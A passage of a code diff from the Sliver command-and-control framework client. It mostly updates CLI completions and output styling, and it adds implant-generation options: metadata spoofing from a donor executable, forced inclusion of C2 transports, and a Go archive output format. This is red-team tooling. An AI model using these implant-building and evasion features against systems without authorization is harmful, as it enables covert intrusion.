if helpRequested {
|
||||||
|
_ = cmd.Help()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
applyOwnedFlags(cmd, save, timeout)
|
||||||
|
args = extArgs
|
||||||
|
|
||||||
var (
|
var (
|
||||||
err error
|
err error
|
||||||
extensionArgs []byte
|
extensionArgs []byte
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package filesystem
|
package filesystem
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/command/loot"
|
"github.com/bishopfox/sliver/client/command/loot"
|
||||||
@@ -174,6 +175,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
carapace.ActionValues().Usage("path to the file or directory to download"),
|
carapace.ActionValues().Usage("path to the file or directory to download"),
|
||||||
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
||||||
)
|
)
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(downloadCmd, 1)
|
||||||
|
|
||||||
uploadCmd := &cobra.Command{
|
uploadCmd := &cobra.Command{
|
||||||
Use: consts.UploadStr,
|
Use: consts.UploadStr,
|
||||||
@@ -194,6 +196,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
carapace.ActionFiles().Usage("local path to the file to upload"),
|
carapace.ActionFiles().Usage("local path to the file to upload"),
|
||||||
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
|
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
|
||||||
)
|
)
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(uploadCmd, 0)
|
||||||
|
|
||||||
memfilesCmd := &cobra.Command{
|
memfilesCmd := &cobra.Command{
|
||||||
Use: consts.MemfilesStr,
|
Use: consts.MemfilesStr,
|
||||||
|
|||||||
@@ -29,7 +29,6 @@ import (
|
|||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
"github.com/fatih/color"
|
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
@@ -239,19 +238,19 @@ func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd
|
|||||||
// grepLineResult - Add color or formatting for results for console output
|
// grepLineResult - Add color or formatting for results for console output
|
||||||
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
||||||
var result string = ""
|
var result string = ""
|
||||||
var matchOutput func(a ...interface{}) string
|
|
||||||
var previousPositionEnd int32 = 0
|
var previousPositionEnd int32 = 0
|
||||||
|
|
||||||
|
matchStyle := console.StyleNormal
|
||||||
if colorize {
|
if colorize {
|
||||||
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
|
matchStyle = console.StyleBoldRed
|
||||||
} else if allowFormatting {
|
} else if allowFormatting {
|
||||||
matchOutput = color.New(color.Bold).SprintFunc()
|
matchStyle = console.StyleBold
|
||||||
}
|
}
|
||||||
|
|
||||||
for idx, position := range positions {
|
for idx, position := range positions {
|
||||||
if colorize || allowFormatting {
|
if colorize || allowFormatting {
|
||||||
result += line[previousPositionEnd:position.Start]
|
result += line[previousPositionEnd:position.Start]
|
||||||
result += matchOutput(line[position.Start:position.End])
|
result += matchStyle.Render(line[position.Start:position.End])
|
||||||
if idx == len(positions)-1 {
|
if idx == len(positions)-1 {
|
||||||
result += line[position.End:]
|
result += line[position.End:]
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -42,20 +42,20 @@ func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, bu
|
|||||||
if burnedOnly && !canary.Triggered {
|
if burnedOnly && !canary.Triggered {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
lineColor := console.Normal
|
lineStyle := console.StyleNormal
|
||||||
if canary.Triggered {
|
if canary.Triggered {
|
||||||
lineColor = console.Bold + console.Red
|
lineStyle = console.StyleBoldRed
|
||||||
}
|
}
|
||||||
firstTrigger := "Never"
|
firstTrigger := "Never"
|
||||||
latestTrigger := "Never"
|
latestTrigger := "Never"
|
||||||
if canary.Triggered {
|
if canary.Triggered {
|
||||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
firstTrigger = lineStyle.Render(canary.FirstTriggered)
|
||||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
latestTrigger = lineStyle.Render(canary.LatestTrigger)
|
||||||
}
|
}
|
||||||
row := table.Row{
|
row := table.Row{
|
||||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
lineStyle.Render(canary.ImplantName),
|
||||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
lineStyle.Render(canary.Domain),
|
||||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
lineStyle.Render(fmt.Sprintf("%v", canary.Triggered)),
|
||||||
firstTrigger,
|
firstTrigger,
|
||||||
latestTrigger,
|
latestTrigger,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package generate
|
package generate
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||||
@@ -11,6 +14,15 @@ import (
|
|||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const spoofMetadataLongHelp = `
|
||||||
|
|
||||||
|
Spoof Metadata:
|
||||||
|
--spoof-metadata
|
||||||
|
Use metadata settings from <client app dir>/spoof-metadata.yaml.
|
||||||
|
--spoof-metadata /path/to/donor.exe
|
||||||
|
Use metadata from the specified donor file. The donor must match the target format/goos/goarch.
|
||||||
|
`
|
||||||
|
|
||||||
// Commands returns the “ command and its subcommands.
|
// Commands returns the “ command and its subcommands.
|
||||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||||
// [ Generate ] --------------------------------------------------------------
|
// [ Generate ] --------------------------------------------------------------
|
||||||
@@ -24,7 +36,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
GroupID: consts.PayloadsHelpGroup,
|
GroupID: consts.PayloadsHelpGroup,
|
||||||
}
|
}
|
||||||
flags.Bind("generate", true, generateCmd, func(f *pflag.FlagSet) {
|
flags.Bind("generate", true, generateCmd, func(f *pflag.FlagSet) {
|
||||||
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
|
|
||||||
// Session flags and completions.
|
// Session flags and completions.
|
||||||
@@ -83,6 +95,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
|
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
|
||||||
})
|
})
|
||||||
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
|
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(trafficEncodersAddCmd, 0)
|
||||||
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
|
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
|
||||||
|
|
||||||
trafficEncodersRmCmd := &cobra.Command{
|
trafficEncodersRmCmd := &cobra.Command{
|
||||||
@@ -115,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(regenerateCmd, "save")
|
||||||
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
|
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
|
||||||
|
|
||||||
// [ Profiles ] --------------------------------------------------------------
|
// [ Profiles ] --------------------------------------------------------------
|
||||||
@@ -145,12 +159,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||||
f.StringP("name", "n", "", "Implant name")
|
f.StringP("name", "n", "", "Implant name")
|
||||||
|
f.BoolP("external-builder", "E", false, "use an external builder")
|
||||||
})
|
})
|
||||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(profilesGenerateCmd, "save")
|
||||||
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||||
profilesCmd.AddCommand(profilesGenerateCmd)
|
profilesCmd.AddCommand(profilesGenerateCmd)
|
||||||
|
|
||||||
@@ -182,6 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
||||||
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(profilesStageCmd, "save")
|
||||||
|
|
||||||
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||||
profilesCmd.AddCommand(profilesStageCmd)
|
profilesCmd.AddCommand(profilesStageCmd)
|
||||||
@@ -324,6 +340,13 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
|||||||
|
|
||||||
f.Uint32P("key-exchange", "X", DefaultWGKeyExPort, "wg key-exchange port")
|
f.Uint32P("key-exchange", "X", DefaultWGKeyExPort, "wg key-exchange port")
|
||||||
f.Uint32P("tcp-comms", "T", DefaultWGNPort, "wg c2 comms port")
|
f.Uint32P("tcp-comms", "T", DefaultWGNPort, "wg c2 comms port")
|
||||||
|
f.Bool("include-mtls", false, "force include mtls transport")
|
||||||
|
f.Bool("include-http", false, "force include http transport")
|
||||||
|
f.Bool("include-wg", false, "force include wireguard transport")
|
||||||
|
f.Bool("include-dns", false, "force include dns transport")
|
||||||
|
f.Bool("include-named-pipe", false, "force include named-pipe transport")
|
||||||
|
f.Bool("include-tcp-pivot", false, "force include tcp-pivot transport")
|
||||||
|
f.Bool("all-protocols", false, "force include all transport protocols")
|
||||||
|
|
||||||
f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||||
f.BoolP("netgo", "q", false, "force the use of netgo")
|
f.BoolP("netgo", "q", false, "force the use of netgo")
|
||||||
@@ -342,8 +365,9 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
|||||||
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
|
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
|
||||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||||
|
bindSpoofMetadataFlag(f)
|
||||||
|
|
||||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'archive' (for Go c-archives), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||||
|
|
||||||
// Shellcode generation options:
|
// Shellcode generation options:
|
||||||
// - Windows: Donut
|
// - Windows: Donut
|
||||||
@@ -384,6 +408,32 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
|||||||
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
||||||
_ = f.MarkHidden("donut-oep")
|
_ = f.MarkHidden("donut-oep")
|
||||||
})
|
})
|
||||||
|
appendSpoofMetadataLongHelp(cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
func bindSpoofMetadataFlag(f *pflag.FlagSet) {
|
||||||
|
if f == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
spoofMetadataFlag := f.VarPF(newSpoofMetadataFlagValue(), spoofMetadataFlagName, "", "spoof executable metadata (optional donor path)")
|
||||||
|
if spoofMetadataFlag != nil {
|
||||||
|
spoofMetadataFlag.NoOptDefVal = "true"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendSpoofMetadataLongHelp(cmd *cobra.Command) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if strings.Contains(cmd.Long, "--spoof-metadata") {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
trimmed := strings.TrimRight(cmd.Long, "\n")
|
||||||
|
if trimmed == "" {
|
||||||
|
cmd.Long = strings.TrimLeft(spoofMetadataLongHelp, "\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.Long = trimmed + spoofMetadataLongHelp
|
||||||
}
|
}
|
||||||
|
|
||||||
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
|
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
|
||||||
@@ -394,11 +444,13 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
|||||||
(*comp)["arch"] = ArchCompleter(con)
|
(*comp)["arch"] = ArchCompleter(con)
|
||||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||||
(*comp)["format"] = FormatCompleter()
|
(*comp)["format"] = FormatCompleter()
|
||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
(*comp)["save"] = completers.LocalFilePathCompleter().Tag("directory/file to save implant")
|
||||||
|
(*comp)[spoofMetadataFlagName] = carapace.ActionFiles().Tag("optional donor metadata file")
|
||||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(cmd, "save", "debug-file", spoofMetadataFlagName)
|
||||||
registerImplantTargetFlagCompletions(cmd, con)
|
registerImplantTargetFlagCompletions(cmd, con)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,75 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
|
||||||
|
cmds := Commands(&console.SliverClient{})
|
||||||
|
|
||||||
|
generateCmd := commandByUse(cmds, consts.GenerateStr)
|
||||||
|
if generateCmd == nil {
|
||||||
|
t.Fatalf("missing %q command", consts.GenerateStr)
|
||||||
|
}
|
||||||
|
assertFlagHasDefaultFileCompletion(t, generateCmd, "save")
|
||||||
|
|
||||||
|
beaconCmd := commandByUse(generateCmd.Commands(), consts.BeaconStr)
|
||||||
|
if beaconCmd == nil {
|
||||||
|
t.Fatalf("missing %q subcommand", consts.BeaconStr)
|
||||||
|
}
|
||||||
|
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestProfilesGenerateExternalBuilderFlagRegistered(t *testing.T) {
|
||||||
|
cmds := Commands(&console.SliverClient{})
|
||||||
|
|
||||||
|
profilesCmd := commandByUse(cmds, consts.ProfilesStr)
|
||||||
|
if profilesCmd == nil {
|
||||||
|
t.Fatalf("missing %q command", consts.ProfilesStr)
|
||||||
|
}
|
||||||
|
profilesGenerateCmd := commandByUse(profilesCmd.Commands(), consts.GenerateStr)
|
||||||
|
if profilesGenerateCmd == nil {
|
||||||
|
t.Fatalf("missing %q subcommand under %q", consts.GenerateStr, consts.ProfilesStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
flag := profilesGenerateCmd.Flags().Lookup("external-builder")
|
||||||
|
if flag == nil {
|
||||||
|
t.Fatalf("%q missing %q flag", profilesGenerateCmd.Use, "external-builder")
|
||||||
|
}
|
||||||
|
if flag.Shorthand != "E" {
|
||||||
|
t.Fatalf("%q %q flag shorthand mismatch: got=%q want=%q", profilesGenerateCmd.Use, "external-builder", flag.Shorthand, "E")
|
||||||
|
}
|
||||||
|
if flag.DefValue != "false" {
|
||||||
|
t.Fatalf("%q %q flag default mismatch: got=%q want=%q", profilesGenerateCmd.Use, "external-builder", flag.DefValue, "false")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
completionFn, ok := cmd.GetFlagCompletionFunc(flag)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("%q missing %q flag completion func", cmd.Use, flag)
|
||||||
|
}
|
||||||
|
|
||||||
|
values, directive := completionFn(cmd, nil, "")
|
||||||
|
if len(values) != 0 {
|
||||||
|
t.Fatalf("%q %q completion should return no explicit values, got %d", cmd.Use, flag, len(values))
|
||||||
|
}
|
||||||
|
if directive != cobra.ShellCompDirectiveDefault {
|
||||||
|
t.Fatalf("%q %q completion directive mismatch: got=%v want=%v", cmd.Use, flag, directive, cobra.ShellCompDirectiveDefault)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
|
||||||
|
for _, cmd := range cmds {
|
||||||
|
if cmd.Use == use {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -41,8 +41,13 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
|||||||
if config == nil {
|
if config == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
config.IsBeacon = true
|
config.IsBeacon = true
|
||||||
err := parseBeaconFlags(cmd, config)
|
err = parseBeaconFlags(cmd, config)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("%s\n", err)
|
con.PrintErrorf("%s\n", err)
|
||||||
return
|
return
|
||||||
@@ -52,9 +57,9 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
|||||||
save, _ = os.Getwd()
|
save, _ = os.Getwd()
|
||||||
}
|
}
|
||||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||||
compile(name, config, save, con)
|
compile(name, config, spoofMetadata, save, con)
|
||||||
} else {
|
} else {
|
||||||
externalBuild(name, config, save, con)
|
externalBuild(name, config, spoofMetadata, save, con)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -15,19 +15,19 @@ func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
|||||||
con.PrintErrorf("Failed to get compiler information: %s\n", err)
|
con.PrintErrorf("Failed to get compiler information: %s\n", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
|
con.Printf("%s %s/%s\n", console.StyleBold.Render("Server:"), compiler.GOOS, compiler.GOARCH)
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
|
con.Printf("%s\n", console.StyleBold.Render("Cross Compilers"))
|
||||||
for _, cc := range compiler.CrossCompilers {
|
for _, cc := range compiler.CrossCompilers {
|
||||||
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
|
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
|
||||||
}
|
}
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
|
con.Printf("%s\n", console.StyleBold.Render("Supported Targets"))
|
||||||
for _, target := range compiler.Targets {
|
for _, target := range compiler.Targets {
|
||||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||||
}
|
}
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
|
con.Printf("%s\n", console.StyleBold.Render("Default Builds Only"))
|
||||||
for _, target := range compiler.UnsupportedTargets {
|
for _, target := range compiler.UnsupportedTargets {
|
||||||
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -19,7 +19,9 @@ package generate
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"context"
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
@@ -33,6 +35,8 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/Binject/debug/pe"
|
||||||
|
"github.com/bishopfox/sliver/client/assets"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
consts "github.com/bishopfox/sliver/client/constants"
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
"github.com/bishopfox/sliver/client/forms"
|
"github.com/bishopfox/sliver/client/forms"
|
||||||
@@ -90,6 +94,11 @@ var (
|
|||||||
ErrNoSelection = errors.New("no selection")
|
ErrNoSelection = errors.New("no selection")
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
spoofMetadataFlagName = "spoof-metadata"
|
||||||
|
imageFileDLLCharacteristic = 0x2000
|
||||||
|
)
|
||||||
|
|
||||||
// GenerateCmd - The main command used to generate implant binaries
|
// GenerateCmd - The main command used to generate implant binaries
|
||||||
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
if shouldRunGenerateForm(cmd, con, args) {
|
if shouldRunGenerateForm(cmd, con, args) {
|
||||||
@@ -112,14 +121,19 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
if config == nil {
|
if config == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
save, _ := cmd.Flags().GetString("save")
|
save, _ := cmd.Flags().GetString("save")
|
||||||
if save == "" {
|
if save == "" {
|
||||||
save, _ = os.Getwd()
|
save, _ = os.Getwd()
|
||||||
}
|
}
|
||||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||||
compile(name, config, save, con)
|
compile(name, config, spoofMetadata, save, con)
|
||||||
} else {
|
} else {
|
||||||
_, err := externalBuild(name, config, save, con)
|
_, err := externalBuild(name, config, spoofMetadata, save, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
switch err {
|
switch err {
|
||||||
case ErrNoExternalBuilder:
|
case ErrNoExternalBuilder:
|
||||||
@@ -240,6 +254,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
|||||||
return "Service"
|
return "Service"
|
||||||
case clientpb.OutputFormat_SHARED_LIB:
|
case clientpb.OutputFormat_SHARED_LIB:
|
||||||
return "Shared Library"
|
return "Shared Library"
|
||||||
|
case clientpb.OutputFormat_GO_ARCHIVE:
|
||||||
|
return "Go Archive"
|
||||||
case clientpb.OutputFormat_SHELLCODE:
|
case clientpb.OutputFormat_SHELLCODE:
|
||||||
return "Shellcode"
|
return "Shellcode"
|
||||||
default:
|
default:
|
||||||
@@ -375,6 +391,9 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
|||||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||||
isSharedLib = true
|
isSharedLib = true
|
||||||
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
|
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
|
||||||
|
case "archive":
|
||||||
|
configFormat = clientpb.OutputFormat_GO_ARCHIVE
|
||||||
|
isSharedLib = true
|
||||||
case "shellcode":
|
case "shellcode":
|
||||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||||
isShellcode = true
|
isShellcode = true
|
||||||
@@ -469,6 +488,23 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
|||||||
c2Profile = consts.DefaultC2Profile
|
c2Profile = consts.DefaultC2Profile
|
||||||
}
|
}
|
||||||
|
|
||||||
|
allProtocols, _ := cmd.Flags().GetBool("all-protocols")
|
||||||
|
includeMTLS, _ := cmd.Flags().GetBool("include-mtls")
|
||||||
|
includeHTTP, _ := cmd.Flags().GetBool("include-http")
|
||||||
|
includeWG, _ := cmd.Flags().GetBool("include-wg")
|
||||||
|
includeDNS, _ := cmd.Flags().GetBool("include-dns")
|
||||||
|
includeNamedPipe, _ := cmd.Flags().GetBool("include-named-pipe")
|
||||||
|
includeTCP, _ := cmd.Flags().GetBool("include-tcp-pivot")
|
||||||
|
|
||||||
|
if allProtocols {
|
||||||
|
includeMTLS = true
|
||||||
|
includeHTTP = true
|
||||||
|
includeWG = true
|
||||||
|
includeDNS = true
|
||||||
|
includeNamedPipe = true
|
||||||
|
includeTCP = true
|
||||||
|
}
|
||||||
|
